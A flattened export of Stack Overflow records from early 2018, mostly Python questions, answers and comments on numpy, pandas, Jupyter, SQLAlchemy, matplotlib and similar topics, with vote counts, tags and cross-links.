has body: In trying to reproduce your problem with the setup given, I noticed the following error in the Javascript console: scan.js:1 Uncaught ReferenceError: $ is not defined at scan.js:1 Your example doesn't have jQuery loaded, so your scan.js isn't able to connect to the socket when the document is finished loading. You can add jQuery by including the CDN reference below: &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"&gt;&lt;/script&gt; And then we see the example works: 127.0.0.1 - - [2018-02-12 07:53:58] "GET /scan/ HTTP/1.1" 200 521 0.010458 127.0.0.1 - - [2018-02-12 07:53:58] "GET /static/css/scan.css HTTP/1.1" 404 342 0.001086 127.0.0.1 - - [2018-02-12 07:53:58] "GET /static/css/scan.css HTTP/1.1" 404 342 0.000776 127.0.0.1 - - [2018-02-12 07:53:58] "GET /socket.io/?EIO=3&amp;transport=polling&amp;t=1518393238311-0 HTTP/1.1" 200 345 0.000879 Client connected 127.0.0.1 - - [2018-02-12 07:53:58] "POST /socket.io/?EIO=3&amp;transport=polling&amp;t=1518393238776-1&amp;sid=7d98901d0ef74164975ee5464879ba19 HTTP/1.1" 200 195 0.000818 127.0.0.1 - - [2018-02-12 07:53:58] "GET /socket.io/?EIO=3&amp;transport=polling&amp;t=1518393238778-2&amp;sid=7d98901d0ef74164975ee5464879ba19 HTTP/1.1" 200 198 0.000201
has comment: http://stackoverflow.com/comment/84477232
score: 2

http://stackoverflow.com/comment/84320942
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48659073
has text: have you installed the dependency: lxml ? If lxml is not installed, pyimzML will instead use the built-in cElementTree or ElementTree package. Are you following the requisites?
score: 0

http://stackoverflow.com/a/48704172
has comment: http://stackoverflow.com/comment/84409053
upvote count: 5
answers question: http://stackoverflow.com/q/48704010
has comment: http://stackoverflow.com/comment/84408872
has comment: http://stackoverflow.com/comment/84406832
has comment: http://stackoverflow.com/comment/84406807
downvote count: 0
has comment: http://stackoverflow.com/comment/84408275
type: Answer
has body: You can do it like this: A = [2, 7, 5, 9, 3, 1, 2] temp = sorted(A) min_diff = min([abs(i - j) for i, j in zip(temp [:-1], temp [1:])]) print(min_diff) # -&gt; 0 Sorting makes sure that the element pair (i, j) which produce the overall smallest difference would be a pair of consecutive elements. That makes the number of checks you have to perform much less than the brute force approach of all possible combinations. Something a bit more clever that short-circuits: A = [2, 7, 5, 9, 3, 1, 2] def find_min_diff(my_list): if len(set(my_list)) != len(my_list): # See note 1 return 0 else: temp = sorted(my_list) my_min = float('inf') for i, j in zip(temp [:-1], temp [1:]): diff = abs(i - j) if diff &lt; my_min: my_min = diff return my_min print(find_min_diff(A)) # -&gt; 0 Notes: 1: Converting to set removes the duplicates so if the corresponding set has less elements than the original list it means that there is at least one duplicate value. But that necessarily means that the min absolute difference is 0 and we do not have to look any further. I would be willing to bet that this is the fastest approach for all lists that would return 0.
has comment: http://stackoverflow.com/comment/84409325
score: 5
has comment: http://stackoverflow.com/comment/84406818
has comment: http://stackoverflow.com/comment/84409086
has comment: http://stackoverflow.com/comment/84406876

http://stackoverflow.com/comment/84560000
has text: @coleifer could you post that as an answer so I can accept it?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48776346
type: QuestionComment

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/48778961
tags question: http://stackoverflow.com/q/48681227
tags question: http://stackoverflow.com/q/48723736
tags question: http://stackoverflow.com/q/48686730
tags question: http://stackoverflow.com/q/48695876
tags question: http://stackoverflow.com/q/48690303
tags question: http://stackoverflow.com/q/48722571
tags question: http://stackoverflow.com/q/48788552
tags question: http://stackoverflow.com/q/48752319
tags question: http://stackoverflow.com/q/48758798
tags question: http://stackoverflow.com/q/48765285
tags question: http://stackoverflow.com/q/48764070
tags question: http://stackoverflow.com/q/48675469
tags question: http://stackoverflow.com/q/48772798
tags question: http://stackoverflow.com/q/48776558
tags question: http://stackoverflow.com/q/48736196
tags question: http://stackoverflow.com/q/48684084
tags question: http://stackoverflow.com/q/48671140
type: Tag
tags question: http://stackoverflow.com/q/48763190
tags question: http://stackoverflow.com/q/48688347
tags question: http://stackoverflow.com/q/48698379
tags question: http://stackoverflow.com/q/48742141
tags question: http://stackoverflow.com/q/48665250
tags question: http://stackoverflow.com/q/48744971
tags question: http://stackoverflow.com/q/48780016
tags question: http://stackoverflow.com/q/48717794
tags question: http://stackoverflow.com/q/48696406
tags question: http://stackoverflow.com/q/48745895
tags question: http://stackoverflow.com/q/48760381
tags question: http://stackoverflow.com/q/48725284
tags question: http://stackoverflow.com/q/48688726
tags question: http://stackoverflow.com/q/48709606
tags question: http://stackoverflow.com/q/48727020
tags question: http://stackoverflow.com/q/48717023
tags question: http://stackoverflow.com/q/48712008
tags question: http://stackoverflow.com/q/48668974
tags question: http://stackoverflow.com/q/48668269
tags question: http://stackoverflow.com/q/48748809
tags question: http://stackoverflow.com/q/48720697
tags question: http://stackoverflow.com/q/48771856
tags question: http://stackoverflow.com/q/48757500
tags question: http://stackoverflow.com/q/48697322
tags question: http://stackoverflow.com/q/48754490
tag name: html
tags question: http://stackoverflow.com/q/48703600
tags question: http://stackoverflow.com/q/48767044
tags question: http://stackoverflow.com/q/48657774
tags question: http://stackoverflow.com/q/48652085
tags question: http://stackoverflow.com/q/48686297
tags question: http://stackoverflow.com/q/48645973
tags question: http://stackoverflow.com/q/48689785

http://stackoverflow.com/a/48735699
upvote count: 3
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48735657
answers question: http://stackoverflow.com/q/48735657
type: Answer
score: 3
downvote count: 0
has body: for each line, you want to: remove the leading square brackets &amp; its contents: use regex evaluate the dictionaries: use ast.literal_eval since they're valid python dicts (json.loads also works) in one-line, using a list comprehension to generate list of dicts, like this: import ast,re text = """[hsdgsaj]{\"id\": \"1\", \"@hello\": 12345} [dkfld]{\"id\": \"2\", \"@hello\": 123456} [dfgjl]{\"id\": \"3\", \"@hello\": 1234567} [fd]{\"id\": \"4\", \"@hello\": 12345678}""" result = [ast.literal_eval(re.sub('^\[.*?\]',"",x)) for x in text.splitlines()] print(result) result: [{'id': '1', '@hello': 12345}, {'id': '2', '@hello': 123456}, {'id': '3', '@hello': 1234567}, {'id': '4', '@hello': 12345678}] iterate on splitted text as lines, remove leading brackets and evaluate. EDIT: now I realize I forgot about stripping the "@" char in the keys. Let's iterate on the parsed dict, this is cleaner: result = [{k.lstrip("@"):v for k,v in ast.literal_eval(re.sub('^\[.*?\]',"",x)).items()} for x in text.splitlines()] this yields: [{'id': '1', 'hello': 12345}, {'id': '2', 'hello': 123456}, {'id': '3', 'hello': 1234567}, {'id': '4', 'hello': 12345678}] this technique is simple &amp; safe, as it's able to parse key/values containing square brackets or curly braces. Full regex methods can't guarantee that.

http://stackoverflow.com/comment/84516224
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48757376
has text: That doesn't even open the image, could it be that i need to read it by chunk?

http://stackoverflow.com/comment/84323943
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48663302
has text: Add `regex` tag to your question.
score: 0

http://stackoverflow.com/comment/84497975
comment on: http://stackoverflow.com/a/48746165
score: 0
type: Comment
has text: The `U-Net` architecture is not `Sequential`.
type: AnswerComment

http://stackoverflow.com/comment/84471690
type: Comment
comment on: http://stackoverflow.com/a/48716542
has text: @ChrisBrocious hey dude so just above before you assign variables you have to make it global (global variables) that should fix it then in the selenium script write from ui import variable and then you can use variables however you would like
score: 0
type: AnswerComment

http://stackoverflow.com/a/48696660
has body: A old trick for handling 0 elements in an array division is to add a conditional value: In [63]: 1/(b+(b==0)) Out[63]: array([1. , 1. , 0.5 , 0.33333333]) (I used this years ago in apl). x = numpy.where(b == 0, a, 1/b) is evaluated in the same way as any other Python function. Each function argument is evaluated, and the value passed to the where function. There's no 'short-circuiting' or other method of bypassing bad values of 1/b. So if 1/b returns a error you need to either change b so it doesn't do that, calculate it in context that traps traps the ZeroDivisionError, or skips the 1/b. In [53]: 1/0 --------------------------------------------------------------------------- ZeroDivisionError Traceback (most recent call last) &lt;ipython-input-53-9e1622b385b6&gt; in &lt;module&gt;() ----&gt; 1 1/0 ZeroDivisionError: division by zero In [54]: 1.0/0 --------------------------------------------------------------------------- ZeroDivisionError Traceback (most recent call last) &lt;ipython-input-54-99b9b9983fe8&gt; in &lt;module&gt;() ----&gt; 1 1.0/0 ZeroDivisionError: float division by zero In [55]: 1/np.array(0) /usr/local/bin/ipython3:1: RuntimeWarning: divide by zero encountered in true_divide #!/usr/bin/python3 Out[55]: inf What are a and b? Scalars, arrays of some size? where makes most sense if b (and maybe a) is an array: In [59]: b = np.array([0,1,2,3]) The bare division gives me a warning, and an inf element: In [60]: 1/b /usr/local/bin/ipython3:1: RuntimeWarning: divide by zero encountered in true_divide #!/usr/bin/python3 Out[60]: array([ inf, 1. , 0.5 , 0.33333333]) I could use where to replace that inf with something else, for example a nan: In [61]: np.where(b==0, np.nan, 1/b) /usr/local/bin/ipython3:1: RuntimeWarning: divide by zero encountered in true_divide #!/usr/bin/python3 Out[61]: array([ nan, 1. , 0.5 , 0.33333333]) The warning can be silenced as @donkopotamus shows. An alternative to seterr is errstate in a with context: In [64]: with np.errstat…
has comment: http://stackoverflow.com/comment/84392186
has comment: http://stackoverflow.com/comment/84392103
type: Answer
has comment: http://stackoverflow.com/comment/84392541
upvote count: 9
answers question: http://stackoverflow.com/q/48696344
downvote count: 0
has comment: http://stackoverflow.com/comment/84392190
score: 9

http://stackoverflow.com/q/48753397
has comment: http://stackoverflow.com/comment/84507459
possible better answer: http://stackoverflow.com/a/48753598
has answer: http://stackoverflow.com/a/48753451
accepted answer: http://stackoverflow.com/a/48753451
upvote count: 3
tagged with: iterator
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/48753598
has answer: http://stackoverflow.com/a/48753445
favorite count: 0
has title: Generate an unique word list from a word list of a list
has comment: http://stackoverflow.com/comment/84507478
tagged with: python
type: AnsweredQuestion
tagged with: python-3.x
tagged with: list
has comment: http://stackoverflow.com/comment/84507460
has body: See the following data. I want to obtain an unique word list from it. I prepared the following base code for you. Could someone improve the code for better and faster performance in Python 3.X? data = [ [ ['hello'], ['hi', 'top'], ['how', 'are', 'you'] ], [ ['hey', 'jane'], ['good', 'morning'], ['how', 'are', 'you'] ] ] vocab = [] for d in data: for s in d: for w in s: if w not in vocab: vocab.append(w) vocab = sorted(vocab) print(vocab) # ['are', 'good', 'hello', 'hey', 'hi', 'how', 'jane', 'morning', 'top', 'you']
type: Question
score: 3

http://stackoverflow.com/q/48745779
type: UnansweredQuestion
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84491942
has answer: http://stackoverflow.com/a/48892526
score: 1
tagged with: matplotlib
tagged with: ipython
type: Question
has body: I am a beginner at programming and I am working on an online course which uses ipython and jupyter notebook. I am working with Mac OS 10.13.3. I have tried importing matplotlib as follows, import matplotlib.pyplot as plt %matplotlib inline However, the following error is being generated. -------------------------- Traceback (most recent call last) &lt;ipython-input-30-385145dcc870&gt; in &lt;module&gt;() ----&gt; 1 import matplotlib.pyplot as plt 2 get_ipython().magic(u'matplotlib inline') /Users/Varshil/anaconda/envs/gl-env/lib/python2.7/site-packages/matplotlib/pyplot.py in &lt;module&gt;() 27 from cycler import cycler 28 import matplotlib ---&gt; 29 import matplotlib.colorbar 30 from matplotlib import style 31 from matplotlib import _pylab_helpers, interactive /Users/Varshil/anaconda/envs/gl-env/lib/python2.7/site-packages/matplotlib/colorbar.py in &lt;module&gt;() 30 31 import matplotlib as mpl ---&gt; 32 import matplotlib.artist as martist 33 import matplotlib.cbook as cbook 34 import matplotlib.collections as collections /Users/Varshil/anaconda/envs/gl-env/lib/python2.7/site-packages/matplotlib/artist.py in &lt;module&gt;() 9 import numpy as np 10 import matplotlib ---&gt; 11 import matplotlib.cbook as cbook 12 from matplotlib.cbook import mplDeprecation 13 from matplotlib import docstring, rcParams AttributeError: 'module' object has no attribute 'cbook' It would be of great help if someone could help me solve this issue. I have tried looking up online but have found no successful leads.
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84495505
has title: iPython, Jupyter -> AttributeError: 'module' object has no attribute 'cbook'
linked to: http://stackoverflow.com/q/35236953
has comment: http://stackoverflow.com/comment/84521272
has comment: http://stackoverflow.com/comment/84491309
tagged with: jupyter-notebook
favorite count: 0

http://stackoverflow.com/comment/84543329
type: QuestionComment
has text: Can you be a bit more specific, and include an example of the kind of code you are trying to edit? By removing the assignment, should the whole right-hand expression go, or just the target list and `=`? And by removing the call, do you mean you want to find assignments that involve a function call, or remove *all calls*, so `some_function()` becomes `some_function`?
score: 1
comment on: http://stackoverflow.com/q/48771051
type: Comment

http://stackoverflow.com/comment/84507412
type: Comment
has text: There is a similar question that has already an answer here: https://stackoverflow.com/questions/27003423/python-selenium-stale-element-fix
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48752319

http://stackoverflow.com/comment/84467326
comment on: http://stackoverflow.com/a/48733772
score: 0
type: AnswerComment
type: Comment
has text: I don't suppose you've considered using spreadsheet software to compare them both.

http://stackoverflow.com/comment/84367541
comment on: http://stackoverflow.com/q/48684991
type: Comment
has text: @MartijnPieters Indeed - perhaps this question of mine will yet turn out to help people despite being a dupe. I can hope, anyway.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84580944
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48788970
has text: this helped thank you!

awk
tag name: awk
type: Tag
tags question: http://stackoverflow.com/q/48737403
tags question: http://stackoverflow.com/q/48773484
tags question: http://stackoverflow.com/q/48759092

http://stackoverflow.com/q/48710342
has comment: http://stackoverflow.com/comment/84419967
has comment: http://stackoverflow.com/comment/84419785
has title: Turning on / off script after logging out / in via ssh
tagged with: linux
tagged with: bash
has comment: http://stackoverflow.com/comment/84419857
has comment: http://stackoverflow.com/comment/84420035
tagged with: ssh
tagged with: python
has comment: http://stackoverflow.com/comment/84420446
has comment: http://stackoverflow.com/comment/84420054
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84419775
has answer: http://stackoverflow.com/a/48710911
has body: So here is a problem you guys. Got a linux machine with good cpu and gpu, and I do some machine learning stuff (jupyter notebooks via ssh). I use this remote machine for mining 24/7 so I need to turn off those 2 mining scripts (for cpu and gpu) right after I log in and execute them again right after I log out. What is the best and easiest way to do this thing automatically?
has comment: http://stackoverflow.com/comment/84419776
type: Question
score: 0
has comment: http://stackoverflow.com/comment/84419771
upvote count: 1
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84419700
favorite count: 0

http://stackoverflow.com/comment/84601759
comment on: http://stackoverflow.com/a/48799463
type: Comment
has text: As a general rule, anything numeric with the value 0, and any empty (zero length) collection-like thing evaluates as "falsy". Strings are collection-like things (of characters), so empty strings are falsy.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84301597
comment on: http://stackoverflow.com/q/48651759
type: Comment
type: QuestionComment
has text: In your test setup, the bot is probably posting as you. However, is the bot able to post messages in the non-test setup with your client id, and unable to delete those same messages?
score: 0

http://stackoverflow.com/comment/84377955
score: 0
comment on: http://stackoverflow.com/q/48689141
has text: It appears the reply from the second link is a base64 encoded string, that I somehow have to read into the BytesIO object.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84436793
comment on: http://stackoverflow.com/a/48718903
has text: Thanks for the answer! I have just edited the question. How do you think about the new question? Is the answer still the similar?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/48747220
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: sqlalchemy
type: Question
has answer: http://stackoverflow.com/a/48747847
accepted answer: http://stackoverflow.com/a/48747847
upvote count: 1
answer count: 1
favorite count: 0
has title: Python sqlalchemy order_by math operation (divide) does not order results
has body: I have two integer columns in my DB times_seen and times_answered_correctly. Now I want to select all elements, which have been seen more than 100 times and sort them by a math operation (times_answered_correctly / times_seen). I am using following code, which works and does not give any errors: top_10_hardest = db_session.query(QuizItems).filter(QuizItems.times_seen &gt;= 100).order_by(QuizItems.times_answered_correctly / QuizItems.times_seen).all() I also tried .order_by(asc(QuizItems.times_answered_correctly / QuizItems.times_seen)) and desc(). The results change, but it is still ordered randomly. {% for i in top_10_hardest %} &lt;p&gt; {{ i.times_answered_correctly/i.times_seen }} &lt;/p&gt; {% endfor %} gives: 0.9858490566037735 0.8082788671023965 0.7952941176470588 0.9202127659574468 0.7591623036649214 0.9950980392156863 0.9907621247113164 0.9905660377358491 0.39420935412026725 0.9931506849315068 Why it does not work?
tagged with: python

http://stackoverflow.com/comment/84847899
has text: I'm having the same issue: so 1.9 version is required in order for unit test coverage to show up in sonar(python) ?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48749540
type: Comment

http://stackoverflow.com/q/48802410
has comment: http://stackoverflow.com/comment/84610342
tagged with: formatting
has title: How to write XML with "usual" self-closing/header tags?
type: Question
tagged with: python-2.7
has answer: http://stackoverflow.com/a/48803766
answer count: 1
has body: This is my code: from xml.dom import minidom as md doc = md.parse('file.props') # operations with doc xml_file = open('file.props', "w") doc.writexml(xml_file, encoding="utf-8") xml_file.close() I parse an XML, I do some operations, than I open and write on it. But for example, if in my file got: &lt;MY_TAG /&gt; ^ it rewrites as: &lt;MY_TAG/&gt; ^ I know this can seem irrelevant, but my file is constantly monitored by version control GIT, which say that line is "different" on every write. The same with the header: &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"&gt; it becomes: &lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"&gt; Which is pretty annoying. Any clues?
score: 0
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
type: UnansweredQuestion

http://stackoverflow.com/comment/84359974
type: Comment
type: QuestionComment
has text: You do know that AP clustering is one of the most time consuming one right? http://hdbscan.readthedocs.io/en/latest/performance_and_scalability.html
score: 0
comment on: http://stackoverflow.com/q/48678848

http://stackoverflow.com/a/48798075
has comment: http://stackoverflow.com/comment/94586961
has comment: http://stackoverflow.com/comment/93031952
upvote count: 35
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48796169
answers question: http://stackoverflow.com/q/48796169
type: Answer
has body: I got it! the reason why we get the error is because this code is using argparse and this module is used to write user-friendly command-line interfaces, so it seems, it has a conflict with Jupyter Notebook. I found the solution in this page: What we have to do is: Delete or comment these lines: parser = argparse.ArgumentParser() parser.add_argument('--batch_size', default=100, type=int, help='batch size') parser.add_argument('--train_steps', default=1000, type=int, help='number of training steps') and replace args args = parser.parse_args(argv[1:]) for a dictionary using the library easydict in this way: args = easydict.EasyDict({ "batch_size": 100, "train_steps": 1000 }) With easydict we can access dict values as attributes for the arguments. Update After all this year diving deeper in python, I found the solution for this question is way more simple (We don't need to use any external library or method). argparse is just one of the many ways to pass arguments to a script in python from the terminal. When I tried to do it in a jupyter notebook obviously that wasn't going to work. We can just replace in the function directly the parameters like: funtion(batch_size=100, train_steps=1000) Now, if we have a long list of parameters for our function, we can use *args or **kargs. *args pass a tuple as parameters in the function, for this case, in particular, it will be: args = (100, 1000) function(*args) **kargs pass a dictionary as arguments to our function: kargs = {"batch_size": 100, "train_steps": 1000} function(**kargs) just google it and you will find a really good explanation on how to use them both, here one documentation that I used to study this.
score: 34
downvote count: 1

http://stackoverflow.com/comment/84564036
comment on: http://stackoverflow.com/q/48781344
has text: This is maybe a clue `omzet_activity_paid_count_january_devices[omzet_activity_paid_count_january_devices.No.isin(user_internal)]` dataframe without entry
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/48676797
upvote count: 2
tagged with: mouse
has body: I have drawn a chart by PyQtChart, and I want to move a series by mouse. Press right button to select a series, then move it to target location, after release right button put the series to target location. I can get the selected series in update_select_series, if I can get the original coordinates when I press right button and target coordinates, thus I can move the series to target location in update_series, but I don't know how to implement it. import sys from PyQt5.QtChart import QAreaSeries, QChart, QChartView, QLineSeries, QValueAxis, QCategoryAxis from PyQt5.QtCore import QPointF, Qt, QTimer from PyQt5.QtGui import QColor, QGradient, QLinearGradient, QPainter, QPen from PyQt5.QtWidgets import QApplication, QMainWindow app = QApplication(sys.argv) series0 = QLineSeries() series0 &lt;&lt; QPointF(1, 15) &lt;&lt; QPointF(3, 17) &lt;&lt; QPointF(7, 16) &lt;&lt; QPointF(9, 17) \ &lt;&lt; QPointF(12, 16) &lt;&lt; QPointF(16, 17) &lt;&lt; QPointF(18, 15) chart = QChart() chart.addSeries(series0) chart.createDefaultAxes() chartView = QChartView(chart) def update_select_series(): print('update_select_series') def update_series(): print('update_series') series0.pressed.connect(update_select_series) series0.released.connect(update_series) window = QMainWindow() window.setCentralWidget(chartView) window.resize(400, 300) window.show() sys.exit(app.exec_())
type: AnsweredQuestion
tagged with: coordinates
type: Question
tagged with: qchart
score: 2
tagged with: pyqt
has answer: http://stackoverflow.com/a/48678497
downvote count: 0
has title: How to move series in QChart by mouse?
accepted answer: http://stackoverflow.com/a/48678497
answer count: 1
tagged with: python
favorite count: 0
linked to: http://stackoverflow.com/q/44067831

http://stackoverflow.com/q/48704750
has comment: http://stackoverflow.com/comment/84412593
tagged with: python
answer count: 0
tagged with: selenium
has comment: http://stackoverflow.com/comment/84483019
type: Question
tagged with: robotframework
score: 0
tagged with: robotframework-ide
has body: This is an issue I'm facing while automating my test case via robot framework, I'm trying to click on the Action column of 3rd row in the below table (screenshot below) The Xpath I'm using is as below Click element xpath=.//table[id="mylogiusers"]/tbody/tr[3]/td[37] ${table_cell} Get Table Cell xpath=//table[contains(@id,'mylogiusers')] Click Link ${table_cell} Note - there are multiple hidden columns in the table, so though the Action column appears to be 10th but in the html table it's number 37, so added td[37] in above xpath. This is a bootstrap table, please let me know where I'm going wrong, tried multiple options in xpath but none seems to be working here.
has title: in robot framewerk text edit using selenium library
has comment: http://stackoverflow.com/comment/84479351
has comment: http://stackoverflow.com/comment/84410675
tagged with: selenium2library
type: UnansweredQuestion

http://stackoverflow.com/comment/106827442
type: Comment
has text: I can confirm this. I had a 15 gig dataset of mostly HD pictures (my drive has 30 gigs instead of 15gigs) and I ran my code to resize the image dataset to 224,224,3 and I was switched to a high RAM runtime. Then when I began training RAM usage went up to 31.88gigs.
comment on: http://stackoverflow.com/a/58081444
type: AnswerComment
score: 0

http://stackoverflow.com/a/48792165
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/48792037
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48792037
type: Answer
has body: Easiest way I can think of to do this is to simply rename the columns in b to match those in a, then use the Pandas concat function. Also best to reset index if using this method b.rename(columns={'FAM_FRUIT': 'famousfruit', 'FAM_ANI': 'famousanimal', 'cid': 'countryid'}, inplace=True) a = pd.concat([a, b]) a.reset_index(inplace=True, drop=True)

http://stackoverflow.com/a/48647293
answers question: http://stackoverflow.com/q/48646671
has body: Every time you update d[data_dict["MARKET"]], you first set it to {}. So of course it only contains the last piece of data; all the others were deleted when the next piece of data came along. You should look for an existing dictionary and take an empty dictionary as default only if it doesn't already exist. For example: d[data_dict["MARKET"]] = d.get([data_dict["MARKET"],{}).update({data_dict["FROMSYMBOL"] + "/" + data_dict["TOSYMBOL"]: data_dict["PRICE"]})
upvote count: 1
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/a/48794247
has comment: http://stackoverflow.com/comment/84627650
type: Answer
answers question: http://stackoverflow.com/q/48794010
has body: Try the below code without the else block and see if it still gives you the same error. x = 5 y = 3 if x == y: print("Yes")
has comment: http://stackoverflow.com/comment/84628154
score: 0

http://stackoverflow.com/q/48689937
type: UnansweredQuestion
tagged with: python
tagged with: properties
has title: Dynamically creating and iterating through class attributes/properties in a base class
has comment: http://stackoverflow.com/comment/84378173
has comment: http://stackoverflow.com/comment/84378323
type: Question
has body: I have two classes which are very similar. In fact, the only difference between the two classes is that one of the classes has an extra field. In order to keep the code DRY, I want the two classes to inherit from a base class, but I'm not sure how to deal with the additional field attribute. A solution could be to iterate through the attributes of the class, and implement that in a base class. The following pseudocode illustrates this: class WidgetBase(): __base_required_field_names = ('a','b','c') def __init__(self, name, **kwargs): self.name = name self.__encountered_names = [] for key, value in kwargs.items(): # ensure name not previously encountered, else raise error # create attribute and assign value pass # if not all required base fields not provided raise error def update(self, **kwargs): # if unknown field raise error, else update field pass def write_to_file(self): # write attributes to CSV file pass class Widget(BaseWidget): pass class AdvancedWidget(BaseWidget): pass # Example Usage from datetime import datetime import csv widget = Widget('foo',a=1729,b=None,c=datetime.now()) widget.update(a=22,b='Babylonia') widget.write_to_file() awe = AdvancedWidget('notfoobar',a=22/7, b='Plimpton 322', c=datetime.now()) awe.update(c=datetime.strptime('20010101','%Y%m%d')) awe.write_to_file() Is this a recommended (i.e. "best practise") way of implementing the required functionality? My main question then is: How can I dynamically create new attributes and iterate through them?
tagged with: inheritance
has comment: http://stackoverflow.com/comment/84378538
score: 0
tagged with: attributes
answer count: 0

http://stackoverflow.com/comment/84506848
type: Comment
has text: your code writes to a .csv and gives me the same wrong result as per vector y formula. I dont want to write to .csv the output. I just want that simple table as output only that but you need to correct to let y value be correct and not replicate x vector formula. Is there anyone who understands what I want, please, help me! I need that table output to be in DASH python Dashboard.
comment on: http://stackoverflow.com/a/48746560
type: AnswerComment
score: 0

http://stackoverflow.com/q/48653038
favorite count: 0
has comment: http://stackoverflow.com/comment/84315467
has title: cross_val_score for xgboost with "early_stopping_rounds" returns "IndexError"
tagged with: python
has answer: http://stackoverflow.com/a/48658988
type: AnsweredQuestion
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/84319901
has comment: http://stackoverflow.com/comment/84304476
type: Question
tagged with: cross-validation
upvote count: 6
has comment: http://stackoverflow.com/comment/84318377
has comment: http://stackoverflow.com/comment/84362969
linked to: http://stackoverflow.com/q/42993550
answer count: 1
has body: I am working on a regression model in python (v3.6) using sklearn and xgboost. I want to calculate sklearn.cross_val_score with early_stopping_rounds. The following code returns an error: xgb_model = xgb.XGBRegressor(n_estimators=600, learning_rate=0.06) xgb_cv = cross_val_score(xgb_model, train_x, train_y, cv=5, scoring='neg_mean_absolute_error', fit_params={'early_stopping_rounds':3}) IndexError: list index out of range Also, if I try to pass the parameter as 'xgbregressor__early_stopping_rounds' (as found online in some related topics), the following error shows up: TypeError: fit() got an unexpected keyword argument 'xgbregressor__early_stopping_rounds' If I run the same model without "fit_params", everything works fine. Is there any way I can avoid this error while using cross_val_score?
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/48658988
tagged with: xgboost

http://stackoverflow.com/a/48762093
upvote count: 1
score: 1
downvote count: 0
type: Answer
has body: You can do this by drawing bars which are equal to the sum of the groups it's stacked on top of and itself: import matplotlib.pyplot as plt def plot_bars(lst, colors, ax, position, width): for i in range(len(lst), 0, -1): # plot a bunch of rectangles on top of each other # each rectangle is equal to to the cumulative including that block rects1 = ax.bar(position, sum(lst[:i]), width, color=colors[i%len(lst)]) AR = [250, 218, 108] AU = [90, 86, 38] colors = ['r', 'g', 'b'] fig, ax = plt.subplots() plot_bars(AR, colors, ax, 1, 0.5) plot_bars(AU, colors, ax, 2, 0.5) plt.show()
answers question: http://stackoverflow.com/q/48761703

http://stackoverflow.com/comment/84607484
score: 0
type: Comment
has text: @ConfusinglyCuriousTheThird Added an option 2 for you.
type: AnswerComment
comment on: http://stackoverflow.com/a/48802214

http://stackoverflow.com/comment/84439077
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48719577
has text: No, I was told that lambda functions were not particularly efficient in Python.

http://stackoverflow.com/comment/84361851
type: Comment
has text: https://github.com/ContinuumIO/anaconda-issues/issues/305 indicates that Anaconda is not compatible with the virtualenv one get from pip install
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48682313

http://stackoverflow.com/comment/84598309
type: QuestionComment
comment on: http://stackoverflow.com/q/48794714
has text: Update: I noticed on my local training run that I had exports written to `INFO:tensorflow:SavedModel written to: output/export/saved-model/temp-1518649176/saved_model.pb DEBUG:tensorflow:Calling exporter with the `is_the_final_export=True`. which suggests that the export is exporting locally, but I'm not finding any `export` folder in the GCS location
score: 0
type: Comment

http://stackoverflow.com/comment/84595713
type: Comment
comment on: http://stackoverflow.com/a/48796572
type: AnswerComment
has text: I just tried and it showed me: `All requested packages already installed.`
score: 0

http://stackoverflow.com/q/48708620
type: Question
tagged with: apache-kafka
tagged with: pyspark
tagged with: spark-structured-streaming
has answer: http://stackoverflow.com/a/48711881
answer count: 2
tagged with: apache-spark
has title: How to get rid of NoSuchMethodError: org.apache.kafka.clients.consumer.KafkaConsumer.subscribe error in Spark Streaming + Kafka
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 3
